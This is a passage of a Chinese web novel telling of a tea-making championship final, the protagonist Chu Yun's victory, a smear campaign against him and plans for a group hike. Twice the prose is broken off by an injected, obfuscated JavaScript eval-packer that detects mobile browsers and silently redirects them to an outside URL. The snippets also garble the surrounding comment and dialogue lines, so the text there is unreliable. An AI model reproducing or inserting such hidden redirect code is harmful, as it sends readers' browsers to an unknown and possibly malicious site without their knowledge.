楚韫将混合好的茶叶装进冷藏留香的竹段后,又把它放回了冷藏柜里,直到一个小时后才重新取出。在此之前他已经把恒温箱的温度调整到了30℃,因此现在就可以迅速把竹段转移到恒温箱里。 这么重复了两次后,楚韫用竹刀在竹段侧壁划了三道浅痕,让外界空气能少量进入,与茶叶中的氨基酸发生轻发酵。 直播间里有一条弹幕默默滑过: 【他这是改变了茶叶的发酵方式吧……好新奇的创意角度,和其他人都不太一样。】 但这条没有引起太大的水花,因为大多数人的目光已经被其他选手分散了。 艾略尔特抽到的材料很简单,只有龙井和桂花。 他选择了糖渍桂花的处理方法,在陶瓷钵底先铺了层蜂蜜,然后放入桂花进行研磨,看起来像是个甜点师傅,而不是茶叶制作师。 做好这些后,他先往锡罐里铺了层龙井,将棉片浸泉水后拧至半干,铺在了龙井上,再在上面舀上一层糖渍桂花,最后用羊皮纸进行密封。 泽田宽美抽到了祁门红茶和龙井绿茶。 她分别采用热水快速喷淋和喷雾湿润的方式来处理红茶和绿茶,待醒茶之后,将红茶与绿茶倒入木质揉茶板,顺时针揉捻,让红茶的茶多酚渗出,接着逆时针按压,激发绿茶的氨基酸。 之后将铸铁锅用小火预热,先扬炒,让热气均匀裹住茶叶,后压焙,闻到焦糖香时停止。 宋清峦的原料是六安瓜片和冻干松针。 只有他自己知道,看到冻干松针的那一刻,他的心脏重重沉了下去。 松针,松针,真的像针一样,密密麻麻地扎进他心里。他甚至自嘲地想,这是不是上天给他的报应。 其实当年把雪听松风的做法泄露给余晋华后,他就一直在私下里研究茶叶与松针混合后的其他制作方法,因为他知道余晋华拿出来的雪听松风并不完善。 但最重要的是,他想超越廖叙生。 松木焙笼在炭火上烘至微烫,宋清峦掌心虚握,手里的松针便顺着指缝落入笼底,铺成薄如蝉翼的一层。六安瓜片倒进去后,他没有压实,而是用竹铲轻轻拨弄,让叶片自然蓬松地铺在松针上。 随后他将裹香的茶叶放进热风炉中烘干,取出后摊晾,再转入低温烘焙,每隔五分钟翻动一次,确保松针香气均匀渗透进叶片。 …… 墙上时钟的指针一刻不停地行走着,距离比赛结束越来越近,选手们基本都已经到了收尾阶段。 楚韫在焙笼底层了铺一层烧至半透的竹炭。竹炭的余温均匀地释放热量,缓慢吸附着茶叶中的苦涩物质。烘焙到一半时,楚韫将几片竹叶平铺在茶叶上,等待着竹叶受热后会渗出的竹沥素与茶叶中的茶多酚结合。中间还要不断翻动茶叶、再次铺上竹叶,反反复复几次后,竹香终于被锁进茶叶深处,成为蛰伏在茶叶身体中的灵魂。 伴随着比赛结束的声音响起,楚韫将成品茶叶装进罐中。 接下来就是评委品评环节,选手需要介绍自己茶叶作品的名称、创新思路,以及灵感来源。 虽然经过了一整天的高强度工作,但没有人露出疲态。甚至泽田宽美在经过楚韫身边时,还朝他露出了一个微笑,没有任何情感掺杂,只有对胜负的纯粹渴望。 楚韫:“……” 他只是初赛赢过了她,倒也不必如此记仇。 . 十位选手的茶叶由专业的茶艺师冲泡后,端到了三位评委的面前。 三位评委依次品尝过后,裁判长说:“现在请各位选手介绍自己的茶叶作品。” 话筒被第一个递到了艾略尔特手里,这个在中国长大的英国人说道:“在看到我的原料中有桂花的时候,我的脑海里首先浮现的就是少年时期居住的那个乡村小镇。当时我的邻居是一位心灵手巧的老奶奶,每到秋天她都会亲手酿制桂花蜜,送给镇上的其他居民。” “可以说,我那位邻居奶奶的桂花蜜让我在二十年后再次回想,依然会感受到中国人邻里之间朴实的温暖。因此在某种程度上,我采用糖渍桂花的方法是为了追寻幼年的记忆。除此之外,在糖渍桂花的工艺上我进行了一些改良,添加了马尔顿海盐来进一步释放口感风味,由于龙井的发酵程度较低,我采取了较短的糖渍时间和较低的桂花比例,让茶叶吸附糖渍桂花的淡淡甜香。” 接下来的几位选手也分别介绍了自己的创作思路,然后话筒被递到了泽田宽美手里。 “我小的时候正好赶上泡沫经济时期,那个时候父亲刚刚下岗,家里经济十分拮据,母亲便常常把喝剩的红茶和绿茶混在一起重新焙制。我的作品就以此为灵感,全程没有添加任何辅料,通过日式 ‘醒、揉、焙’工艺,用绿茶的鲜中和红茶的涩,红茶的醇提升绿茶的淡,实现两种茶叶的本味互补,回到最本真的味道。” “这款茶不仅是我对那段童年时光的回忆,更重要的是,它也是一个时代的映射,是对那个时期努力生活的人们的肯定和铭记。” 接下来是宋清峦。 面容清润的男人说道:“我的茶叶作品更想体现的是对古法技艺的追寻和复刻。我曾翻遍《茶谱》、《茶经》等古籍,发现其中记载的很多茶叶制作工艺到了现在都已经失传。这些年来,我一直在研究“松柴慢焙”的复刻,并在此基础上进行进一步的改良,这一次的成品就运用了“松柴慢焙”的方式进行茶叶烘焙。” 到了楚韫这里,年轻人身姿挺拔如青竹,神情沉静:“我作品的最大启发来源于云栖竹露。” 除了几位不明内情的外国选手,在场所有人都露出有些微妙的表情。毕竟后期的云栖竹露曾引起过相当大的争议,在这种场合毫不避讳地公然提起,怎么说似乎都有些欠考量。 楚韫接着说道:“云栖竹露以明前雀舌和甜笋竹为原料,最大的特点就是冲泡后竹香萦绕不散。我曾从头到尾观察过云栖竹露的制作方法,在我看来,云栖竹露成也竹香,败也竹香。” 三位评委都有些感兴趣。 “喝过云栖竹露的人应该都知道,这款茶用竹香奠定基调,辅以明前雀舌的草木涩口,入口就是鲜明的竹香冲击味蕾,明前雀舌的醇厚感只在回甘时才浮现出来。这固然是云栖竹露的鲜明特色,但在我看来,一切的茶叶成品都应以茶叶为本位,在这一基础上,我更加关注的其实是茶叶基础制作过程中的工艺。” “我在发酵这一步上进行了改变,通过冷热温度交替进行环境调控,引导茶叶细胞逐渐形成应激代谢,从而实现竹材活性成分与茶叶细胞的物质交换。这样的做法最大程度上凸显了黄山毛峰的鲜爽本味,竹香则被弱化,锁进黄山毛峰的清甜中,更多是在后期回甘中散开。换句话说,我的作品与云栖竹露走向了两个相反的方向,云栖竹露是以竹香成就茶香,我的作品是以茶香成就竹香。” …… 直播间里关于谁能夺冠的争吵在这时仿佛被按下了暂停键。 【虽然我是圈外人,但听到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383315|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感觉每位选手都阐释出了自己对于“溯洄”这个主题的独到理解,真的是各有千秋。】 【有这样一群年轻的茶叶制作者,这个行业一定会越来越好的。】 【最后一位选手也介绍完了,好期待评委们的点评和打分,啊啊啊我也想去现场尝尝他们的茶叶。】 【点了,光是听介绍感觉就很好喝T-T。】 【我去,我去,刚才给评委镜头的时候我就觉得有点像,中间那个是不是翁云澜啊?!!】 【是的姐妹,你没看错,我刚才已经冷静过了,你GLGA已经牛逼到在决赛把翁云澜请来当评委了。】 【OMG那可是给领导人做茶叶的大师啊,我来看个直播也是见到大世面了。】 一位白发苍苍,但依旧精神矍铄的老人站了起来,这位是真正的泰斗级人物,德高望重、门徒无数,虽然近年来越来越深居简出,但一点都不影响他在整个茶界无可撼动的地位。 翁云澜带着笑意的眼缓缓看过每位选手,中气十足的嗓音响起:“在进行选手的单人点评之前,请允许我这个老头啰嗦点废话。” “这一届GLGA决赛的主题是‘溯洄’,我在各位的作品中看到了大家对于这一主题的不同理解,我们手中的茶叶,可以是对童年记忆的追寻,也可以是对一个时代的记录,可以是让传统技艺重现世间,也可以是深思熟虑后的大胆反叛。不论如何,从你们身上,我看到了一个合格的茶叶制作者应有的品质——扎实的基本功、孜孜不倦的探索,还有对饮茶者精神世界的关怀。” “茶叶制作的过程从来不是单向的给予,而是与饮者完成一场关于‘接纳’的对话。在你们的茶叶中,我感受到了你们寄托在茶叶中的情感、记忆和匠心。所以无论比赛结果如何,请你们永远不忘初心,沿着这条漫漫长路坚定不移地走下去吧。” 选手们纷纷鼓掌,神情动容。翁云澜微微鞠躬,坐回了座位上。 三位评委分别表达了每位选手作品的优点和不足,其实这一步就已经可以大致猜出各自分数的高低。比如点评到艾略尔特时,那位评委是这么说的: “……入口先是龙井的脆鲜,接着舌尖泛起桂花香带来的绵甜,没有传统窨制茶的水闷感。耐泡度也同样出色,五泡后还能喝到龙井的豆香余韵和若有若无的桂花甜。唯一的不足就是过分追求完美和精细,反而少了一点茶叶本身的质朴。” 点评到泽田宽美时,评委明显也是褒扬更多: “……红茶的发酵香和绿茶的鲜爽香步调一致,融合得浑然一体,味道平衡不突兀,不会像单喝绿茶那样‘空’,也不会像单喝红茶那样‘沉’。需要注意的问题是,随着茶汤温度的降低,红茶和绿茶的特点逐渐消失,最终只剩涩感,应该是工艺上略有欠缺。” 楚韫听着前面的点评,若有所思。他想到了自己平时做茶时遇到的问题,之前一直没找到解决办法,现在倒是有了些思路。 等到他回神的时候,宋清峦的点评基本都要结束了—— “……‘松柴慢焙’本来就特别需要找准平衡点,这里面香气浓度没有把控得很精准,焙出来的茶缺了几分的清冽感,松香也有些寡淡。” 楚韫抬眸望向评委席,下一个就是他。 “说实话,你的作品让我们感到很惊喜。” 不知道是不是他看错了,他总觉得那位评委的嘴角带着些笑意。 “刚冲泡时,先逸出的是黄山毛峰的香气,前两分钟里几乎闻不到竹香,只有茶本身的清透感在扩散,直到茶汤稍凉,凑近杯沿才会闻到一丝若有若无的竹青气。” “一般在加入辅料的时候,都要削弱茶叶本身味道,但你的这款茶反而加强了黄山毛峰的特点。虽然不知道你具体用了什么方法处理黄山毛峰,但确实完美地突出了它的草木香,增强了凉润感。喝这款茶的时候,评委们一致感受到了从茶香到竹香的过渡与层次变化。咽下时,喉间先泛起茶本身的回甘,过了几秒,竹香带来的凉润感才像雨后青笋一样漫透上来。但无论什么时候,都始终没偏离茶的本味。” 那位评委压下嘴角,说道:“当然,你的作品也存在一些问题。对黄山毛峰叶片中茶多酚的处理略显欠缺,使得茶汤中段浮上些涩味,让后续的竹香回甘打了点折扣。” 至此,所有选手都已点评完毕。 楚韫的心跳快了些许,他看着评委打好的分数被送到裁判长手里,脑海里第一时间想到的却不是名次,而是当年参加“天工盏”时的心情——那是一片波澜不惊的湖,放松、平稳,静静等待着一个数字。因为那场比赛的输赢对于他来说都不那么重要。 但如今不是了。楚韫掐了掐掌心,那里有一座茶馆的命运,还有他师父的遗憾冤屈。它们掌握在自己手中,而自己的生死成败系于一个简单的数字。 裁判长拿到了各位选手的分数,开始宣读: “艾略尔特,98.4分。” 艾略尔特有些惊喜,一时没忍住吹了个口哨,被裁判长一个眼神警告。 “劳伦斯,95.1分。” “乔洛,95.9分。” …… 中间几位选手,没有一位超过艾略尔特的分数,实在是他的分数太高了,就像一座山立在那里,让人只能仰望。 “泽田宽美,98.3分。” 这位日本制茶师不可置信地睁大了眼睛,很快又恢复了原本的骄矜。 “宋清峦,97.9分。” 宋清峦一直保持着微笑,好像对这个分数并不意外。 指甲掐得手心有些疼,紧接着,裁判长读出了最后一个分数—— “楚韫,98.8分。” 手指松开,有凉风顺着指缝钻进去,带着点发麻的轻快感。楚韫觉得自己好像做了一个梦,又生怕这真的是一个梦。 他清醒又恍惚,强大又无助,如释重负又怅然若失。 “下面让我们把热烈的掌声,送给本届Golden Leaf Global Awards的冠军——来自中国的制茶师楚韫!” “同时,也让我们恭喜本届Golden Leaf Global Awards的亚军和季军,来自英国的艾略尔特,以及来自日本的泽田宽美!” “所有站在决赛的选手都值得祝贺,你们通过自己的实力在赛场上熠熠发光,你们永远是GLGA赛事上不可或缺的明星!” 直播间里已经爆炸了。 【恭喜楚韫夺冠!!!】 【恭喜楚韫夺冠!!!】 【恭喜楚韫夺冠!!!】 沈清看着满屏的弹幕,此刻整整齐齐,全都是这几个字。他也看得热血沸腾,跟着在弹幕上喝彩。 陆俨在楚韫走后就回了茶楼,和秦澜月看了一天的决赛直播。在看到翁云澜亲手为楚韫颁发冠军奖杯时,两人的眼眶不约而同地红了。 只有他们这些一路走过来的人才知道,这山水一程,楚韫走得有多么艰难。 . 听到裁判长宣布楚韫是冠军的那一刻,傅砚珩紧绷了一天的神经终于放松了下来。他的眼里满溢着笑意,里面只装得下屏幕里耀眼的年轻人,一种纯粹的喜悦在心里疯狂蔓延。 他已经很多年没有过这种感受了,事业上的游刃有余让他几乎已经忘了如何为一个人心情起落。他清醒着看着自己一步步沦陷,感受着心脏不受控制的跳动,甚至于无比享受这种被楚韫牵动全部神经的感觉。 这是他喜欢的人。傅砚珩用目光一遍遍描摹着那人的五官轮廓,好像他就站在自己面前。 他喜欢的人,终于不再为那些世俗的阴影所遮蔽,而是在所有人的目光下,展露出惊心动魄的光芒。 “楚韫。” 傅砚珩低声呢喃。 ——这是他喜欢的人,是他的骄傲。 29. 插花 最后的合影留念环节,楚韫捧着他的冠军奖杯,和亚军、季军合影一张,然后所有决赛选手和三位评委、GLGA组委会高层又拍了张全家福。 快门按下,楚韫职业生涯中极具纪念意义的璀璨时刻被定格在这一刻,也定格在很多人的心里。 结束后,楚韫正打算离开,就见一个金发碧眼、西装革履的外国男子拦住了他的去路。 对方用略显生硬的中文热情地说:“你好,楚韫,很高兴认识你!我先自我介绍一下,我是GLGA赛事组委会主任,加布里埃尔,你叫我加布就好。” 楚韫一听对方身份,正色道:“你好,加布主任。” 加布说:“我看了你全程的比赛,真的不得不要惊叹一句,你简直是我这几年见过的最优秀的年轻制茶师之一!拿到这个奖项真的是实至名归。” 楚韫微笑道:“您过誉了,我还有很多不足。” 加布神情真诚:“说实话,今年GLGA直播的实时观看人数较前几届高了将近二十个点,讨论度和话题增加了大约十个点,这里面很大一部分都是你的功劳,因此其实我应该向你表达感谢。” 楚韫说:“帮助GLGA宣传、提高它的知名度和话题度,就是让更多人看到、了解茶叶的制作过程,这是我作为一个茶叶制作者应该做的,算不了什么。” 这确实是他的心里话,倒不完全是谦虚。 加布更加欣赏这个年轻人:“实不相瞒,组委会最终决定以‘溯回’作为题目,本意就是希望引导茶界重新关注对茶叶基础技术的创造,你的作品真真正正与我们的本意不谋而合。从这一点出发,也许我们可以携手合作。” 楚韫有些惊讶:“合作?” 加布笑着点点头:“实不相瞒,我们打算与瑞禾公司合作出品一款茶文化节目,聚焦茶叶制作过程中的技术和工艺,我们会邀请一些获奖选手参与录制,你自带热度和话题度,又夺得了这一届的冠军,自然是我们首选的对象。” 楚韫沉吟了一下,面露难色:“很抱歉加布主任,我现在可能并没有这方面的想法——” 这个英俊的外国男人递出了自己的名片,朝他眨了眨眼:“不着急,你先考虑一下,现在没有想法,不代表以后也没有嘛。” “……” 于是楚韫收下了他的名片,这场谈话才算结束。 . 拿着奖杯的手有些酸,楚韫想着这回能离开了,结果下一秒肩膀又被人拍了一下,一转头又是一张西方面孔。 “嗨,楚韫,明天想来爬山吗?” 艾略尔特十分自来熟地和他勾肩搭背,动作之熟练自然让一旁的泽田宽美都瞠目结舌。 “我们打算明天去爬翠溪山,早就听说这是邬桥当地有名的景点,来一回不去可惜了。正好我们还可以边爬边聊天,就当认识一下了,怎么样?” 楚韫被这么一个高大壮硕的西方人压着,一张嘴先说的就是:“那个,能先把手臂拿下来吗?” 艾略尔特照做了,慈爱的目光在他身上逡巡,看得楚韫起了一身鸡皮疙瘩。 “宝贝儿,”他半是嘲弄半是可怜地说:“你真该增强一下身体素质了,瞧你瘦弱得像我小时候养的鸡崽。” 楚韫深吸一口气,在心中默念了三遍不要发火,然后说道:“不了,我明天还有事情,你们去吧。” 艾略尔特看起来颇为伤心,紧接着他余光精准捕捉到了正要悄悄溜走的宋清峦,立刻大声道:“嘿,清峦,你跟我们去爬山吗?” 宋清峦的标志性微笑像是焊在脸上了一样,即使是这种时候也依旧找不出破绽:“真不巧,我明晚八点的飞机,实在是抽不出时间爬山了。” 艾略尔特耸了耸肩,抹了把眼下并不存在的泪水:“哦,那真是太可惜了,如果大家都不去的话,我就只能一个人孤零零地走在山路上了。” 楚韫眼看没自己什么事了,朝几人一点头:“那我就先走了。” “等一下。” 身后的泽田宽美突然开口。楚韫背对着她,没看见她脸上的别扭,只听见她吞吞吐吐的声音。 “……你是一个很优秀的对手,输给你,我心服口服。” 楚韫无声笑了一下:“谢谢,你也是。” . 拿到手机,看着好友栏里密密麻麻的恭喜和祝福,楚韫的第一反应却是去看那个置顶的风景头像。 那里没有红点,空空荡荡。 应该是在忙吧,楚韫心想。他知不知道比赛结果?要不要给他发个信息? 犹豫了一会,楚韫还是敲了几个字过去,告诉对方自己拿了冠军。 下一秒,一通电话毫无征兆地打了过来。 楚韫被吓了一跳,但手比脑子快,已经点了接通。 “……傅砚珩?” 男人嗓音带着笑意,听起来莫名温柔,让人心动:“恭喜你,楚韫。” 楚韫站在路边,看着盛开的紫薇花树,张了张嘴,本来想说点别的,结果到了嘴边就变成—— “你在忙吗?我是不是打扰到你了?” 他听见男人闷闷的笑声,通过听筒传到耳朵里,一下下冲击着耳膜:“楚韫,回头。” 楚韫一僵,随即猝然转身,就见傅砚珩拿着一束重瓣风铃草朝他走过来。 傅砚珩站到他身前,现实与手机中的声音重叠。 “确实在忙,”他把手里的重瓣风铃草递给楚韫:“忙着来见你。” 楚韫还有点没缓过神,伸手接过那束白紫相间的花,说道:“谢谢你的花,我很喜欢。” 傅砚珩看他表情,心想他这副呆呆的样子也可爱。 “吓到你了?我以为会给你个惊喜。” 楚韫摇了摇头:“确实很惊喜,就是我没想到你会过来这边。” 傅砚珩看了眼表,说道:“饿了吗?一起去吃饭?顺便给你庆祝。” 楚韫点头。一整天忙着比赛,中午的盒饭也只是草草吃了几口,他现在也饿了。 就在这时,傅砚珩的手机铃声突然响起,他接起电话,就听对面说:“傅总,有人在网上爆料楚先生夺冠是我们操纵的结果。现在舆论已经越闹越大了。” 傅砚珩微不可查地皱了一下眉,看了一眼楚韫。对方没有注意到他的目光,全部的注意力都放在了那束风铃草上。 “公关部已经写好了通稿,但可能还需要当时您和楚先生的那份合同来做佐证材料。” 傅砚珩“嗯”了一声,说道:“我现在让人给你发过去。” 电话挂断,傅砚珩朝楚韫笑了笑:“走吧。” . 楚韫一直以为那是个普普通通的工作电话,直到吃饭时沈清给他发来了微博截图。 [沈清:我的哥啊,你是不是得罪谁了?复赛被人做手脚,决赛好不容易拿冠军还被黑成是靠关系上位。] 楚韫点开图片,上面是一家很有影响力的新闻媒体发的通稿,里面提到了楚韫这几年来在业界几乎毫无成绩,结果参加一次比赛就拿到了冠军,未免太过神乎其神。这家新闻媒体还很贴心地附上了一组图片,有一张是当时他和傅砚珩一起去瑞禾开会,那个王总亲自来楼下迎接,最让楚韫觉得好笑的是,这张偷拍照还拍得挺有水平,找了一个巧妙的角度挡住了傅砚珩,看上去就像他和王总两人会面一样。 还有一张是那个王总递给自己一张名片,但楚韫已经忘了中间的缘由,可能是想拉近关系吧,反正自己最后也没收。但照片就恰好定格在那个递出名片的姿势上,还给了王总的笑容一个高清特写镜头,可谓是煞费苦心了。 这家新闻媒体故意把事情说得模棱两可暧昧不清,字里行间一句不提他和那个王总有不正当关系,但字字句句又都指向这个方向。 无数营销号和娱乐大V纷纷转发,这件事很快就如星火燎原一般在网上疯传开。 [沈清:我真服了,明白人没几个,那些人的直播是白看了吗???] 下面两张截图都是营销号底下的评论区,基本都是不明所以的人一边倒地质疑楚韫得奖的真实性,偶尔有两个人摆出证据为他辩解,但也都被淹没在舆论的汪洋洪流中。 [楚韫:本身很多看直播的都是圈外人,而且单凭一个制作过程确实也看不出太多东西,被带节奏也正常。] [沈清:啊啊啊你快看!!!] 楚韫打出了个问号: [?怎么了,我没有微博,你直接和我说。] 沈清差点被这位气晕过去,一时不知道是该夸他淡定还是超绝钝感力,都这种时候怎么还这么无动于衷??? 他火速截了两张图发过去。 [沈清:你自己看,人家亿恒发声明了。] [啧啧,还有律师函。不过话说回来,虽然瑞禾是亿恒旗下的子公司,但也犯不着让亿恒来做这个公关吧。] 楚韫无比庆幸沈清现在还被蒙在鼓里,否则现在自己一定会被对方进行信息轰炸。 他点开图片,果真如沈清所说,是亿恒官博发出来的声明。 这则声明下面附上了一张律师函,上到一开始的那家新闻媒体,下到后面跟风的那些小营销号和娱乐大V,全都一网打尽。 第二张截图是亿恒单独发出来的一纸电子合同,楚韫认出来就是当时他和傅砚珩签的那个附条件合同,只是这份把具体的条件内容打了码,只露出一些无关紧要的信息和两人的签名。 楚韫不知道为什么,突然就想到了傅砚珩之前接的那通电话。当时他隐隐约约听到了“舆论”、“合同”等字眼,只是没当回事。现在想来,那时傅砚珩应该就在处理这件事情。 “知道网上的事了?” 傅砚珩见楚韫看了这么久的手机,基本也能猜到他是看到了那些舆论。 楚韫抬眸直直看向他,傅砚珩以为他是被那些恶劣的言论影响了心情:“没事的,亿恒已经发了声明和律师函,这些造谣的东西很快就会消失。” 楚韫想说“谢谢”,但又觉得自己似乎总是在向傅砚珩说这两个字。 他有些厌烦这种状态,好像一句“谢谢”就成为了他们两个人之间的薄膜,平时看似无形,但总会在某些时刻显出它不可忽视的存在。 楚韫在心里嘲笑自己,也知道他这完全是欲加之罪,两个人之间的关系和一句无足轻重的感谢并不勾连,这只是他找的一个借口而已。 “我看到了。” 楚韫笑了笑,说道:“你上回说想让我实现你的一个愿望,想好了吗?” 是想要报答对方,还是为了满足自己的私心,楚韫心知肚明。 果不其然,傅砚珩听到他这么说,脸上露出惊讶的神情,像是完全没想到他会提到这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383316|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “想好了。”傅砚珩说:“但现在似乎不是时候,我希望晚一点兑现。” 楚韫点点头,呼出一口气:“当然,这是你的权利。” . 回到酒店后,楚韫先找了个花瓶,把外面买的矿泉水倒进去,然后又修剪了一下花枝根部,调动他全部的美学素养,把那束风铃草插得旁逸斜出。做完这些后,他拍了张照片给傅砚珩发过去。 [楚韫:谢谢你的花,我很喜欢。] 傅砚珩看到楚韫的大作时,闻时正站在旁边汇报调查结果,余光一瞥,就看到照片上乱七八糟的一束花,颇有一种滑稽的喜感,一时没绷住笑出了声。 傅砚珩淡淡看他一眼,闻时立刻意识到自己失态,正要说“对不起傅总我错了下次再这样我就自剜双目”,结果就听自家老板问道:“好看吗?” 闻时一听他这么问就感觉出不对劲了,定睛细看了下,立刻意识到这不是自家老板送给楚韫的那束鲜花吗??! 他猛然意识到自己刚才简直是在冰层上生火、悬崖边蹦迪,差一点就要掉进东非大裂谷摔得粉身碎骨。 “好看。”闻时肃然起敬:“这件插花作品充分体现出表现主义的精髓,隔着屏幕我都能感受到作者那种外化的、浓烈的情感……总之是一件充满情感张力的艺术品。” 傅砚珩似笑非笑地看他一眼,不置可否。 然后闻时就听见傅砚珩轻飘飘的声音:“不会说话可以不说。” 楚韫本来还对自己的插花抱有一种极大的怀疑和不自信,但他很快就收到了对方的回复: [傅砚珩:插得不错,我很喜欢。] 楚韫这才放下心来。 思来想去,楚韫还是下载了一个微博,进去又浏览了一遍亿恒发表的声明。 他正要退出来,就在首页刷新出一条GLGA官方发表的声明,同样也是对他这件事情做出的回应。 他熄灭屏幕,目光落在桌上的奖杯上,心里却隐隐觉得不安。 他不认为这次的事是余晋华做的。 对方在决赛给他准备了那样的“惊喜”,一定是抱着一击必杀的心理,即使失败也暂时不会再有动作。毕竟他也知道,最好的时机已经错过,与其冒失地露出马脚,不如蛰伏着等待下一次的机会。 那么是谁呢? 楚韫总有一种直觉,有一股新的势力介入了这件事,也许和陈家烨的失踪也有关系。 他想起那两张偷拍照,只觉得有些反胃。在不知道的地方,自己的一举一动可能正被人窥视、记录,有人在黑暗中不怀好意地凝视着他,而他甚至连对方是谁都不知道。 手机震动了一下,楚韫躺在床上看着沈清的信息。 [沈清:刚才艾略尔特和泽田宽美都在海外账号上表态了,说你是很优秀的制茶师,冠军实至名归。] [而且万万没想到的是,泽田宽美还在社交账号上发文道歉了,说自己当时在初赛言论不当,经过这一场比赛,她认识到还有很多东西需要向中国学习。] [我都替你扬眉吐气了,这回我看谁还敢说你的第一名有黑幕!] 楚韫想了一下,慢慢打字: [楚韫:你有他们两个的联系方式吗?] [沈清:那当然,我是谁啊。怎么了?] [楚韫:帮我向他们表达一下感谢,麻烦你了。] [沈清:别啊,我直接把你拉群里多方便,有话直接跟他们说,显得你多真诚~] 沈清这小子行动力极强,还没等楚韫表态就直接把他拉到群里了。楚韫一看群名,手一抖,手机差点砸脸上—— 翠溪山登山四人组。 [沈清:让我们欢迎新成员楚韫~~~] [艾略尔特:哇,楚韫,你改变主意了吗?] 楚韫刚想回复,结果一通电话先打了进来,是梁淮。 “恭喜夺冠,楚韫。” “谢谢。” 梁淮声音温润,语气带笑:“我昨天飞机落地,今天忙了一天,终于处理完我那个委托人的事情,只能送上一份迟到的祝福。” 楚韫说:“没事。” 有侍应生为梁淮端来一杯威士忌,被他示意不要出声。 “明天有时间吗?”他问道,“我听说翠溪山在当地很有名,正好我们也好久没见了,陪我去爬山如何?” 楚韫沉默了两秒,对面的梁淮不动声色地加码:“今晚的幕后黑手我查出了些眉目——” “行。”楚韫心累道:“但是我们几个选手明天也要去爬山,你和我们一起可以吗?” 事已至此只能这样了,不然明天两伙人碰上,面面相觑、相对无言只会更尴尬。 对方答应得很爽快:“没问题。” 挂断电话后,楚韫在登山群里回复: [对,我明天和你们一起去爬山,只是可能还要带个朋友。] [艾略尔特:那太好了,人多爬山才有趣嘛!我们明天早上八点在翠溪山入口见!] [楚韫:好。还要谢谢你们在社交账号上帮我说话。] [艾略尔特:不用谢,小事一桩。我不过是路见不平拔刀相助,而且说的也都是实话。] 泽田宽美看似潜水,实则一直在暗中观察,此刻也发了一个看起来颇为冷酷的“OK”过来,表示她欣然接受楚韫的感谢。 30. 爬山 第二天楚韫到的时候,沈清和身旁的一个女生聊得正欢。 楚韫是和梁淮一起来的,双方一碰面,楚韫介绍道:“这是我朋友,梁淮。” 沈清指了指身旁女生,说:“这是乔洛,你应该还记得吧,昨天你们还一起比赛了。” 楚韫向她微微颔首,算是打了招呼。 不多时,艾略尔特和泽田宽美也到了,他们六个人便向山顶进发。 . 翠溪山其实是一座茶山,后来进行了旅游开发,因为茶田风景独特,而且山水秀美,吸引了一大群游客。 艾略尔特确实有嘲笑楚韫的资本,一直爬到半山腰都是遥遥领先,看起来脸不红气不喘。但队伍里的乔洛平时不常运动,爬到这里已经有些吃力了。楚韫本来正和梁淮聊天,余光看到女生渐渐落在了后面,出声道:“我们在这里休息一会吧。” 乔洛向他投来感激的目光,楚韫给了对方一个安抚的眼神。 他们坐在半山腰处的凉亭里,梁淮递给楚韫一瓶水,叹道:“你还是那么细心、善良。” 楚韫拧开瓶盖喝了一口,没说什么。 梁淮:“我查了一下昨天那件事的幕后推手,那家新闻媒体口风也不怎么严,用了些手段就都交代了。说是一个叫邵凌的人给了他们一大笔钱叫他们办的事。” 他说完,看见楚韫手里已经快要被捏扁的矿泉水瓶,诧异道:“楚韫?” 楚韫回过神,手上松了力,这才避免矿泉水溢出来。 “怎么了?你认识这个邵凌?” 楚韫摇了摇头,回答:“不认识。” 然后顶着梁淮疑惑的目光,他岔开了话题:“陈家烨还没找到吗?” 梁淮虽然觉得蹊跷,但也知道现在不宜深问。他把注意力转移到对方提出的新问题上,说道:“我们在查的过程中,发现余晋华的人似乎也在寻找陈家烨。也就是说,陈家烨应该没有落在他手里。” “但这就证明又有一拨人介入了这件事,而我们却连对方的一点信息都查不到,这才是最可怕的事情。” 楚韫沉吟一瞬,这和他昨晚的猜想一模一样。 “我知道了,谢谢你。陈家烨那边不用再盯了。” 梁淮问他:“你有什么头绪吗?” 楚韫摇头:“只是觉得这条线索基本已经断了,再耗在这上面也没什么意义。” 就在这时,沈清突然凑了过来,眼睛在两人之间转了一圈:“说什么悄悄话呢。我们刚才商量好了,六个人一起走有点不方便,不如分成两组,两个男生带一个女生,这样有人体力不支也好照顾。” 楚韫和梁淮都表示没意见。 沈清于是提议:“那我、艾略尔特和泽田宽美一起,你们俩和乔洛一起?” 分组一拍即合,大家也都休息得差不多了,便继续向上爬。 虽说是分成两组,但两组之间也相距不远,走在后面的楚韫他们甚至能清清楚楚地听到艾略尔特爽朗的大笑声。 乔洛为人腼腆,不太爱吱声,此刻主动说话也是做了一番心理建设:“楚韫,你是哪里的人啊?” 楚韫说:“我是在扬州长大的,算是那里的人吧。” 乔洛闻言惊喜地睁大了眼睛:“好巧!我家就在隔壁南京。” 她像是有些不好意思,小声说:“怪不得我总觉得你身上有一种江南水墨画的气质。” 楚韫听到也只是付之一笑:“谢谢。” 这么一来二去,乔洛胆子也大了点,好奇道:“那你当年是怎么走上茶叶制作这条路的?” 像是怕楚韫误会,她急忙解释道:“我,我没有别的意思,就是当年我学习做茶的时候,我爸妈百般不同意,为此我还和他们赌气了好长一段时间。所以我也想知道——” 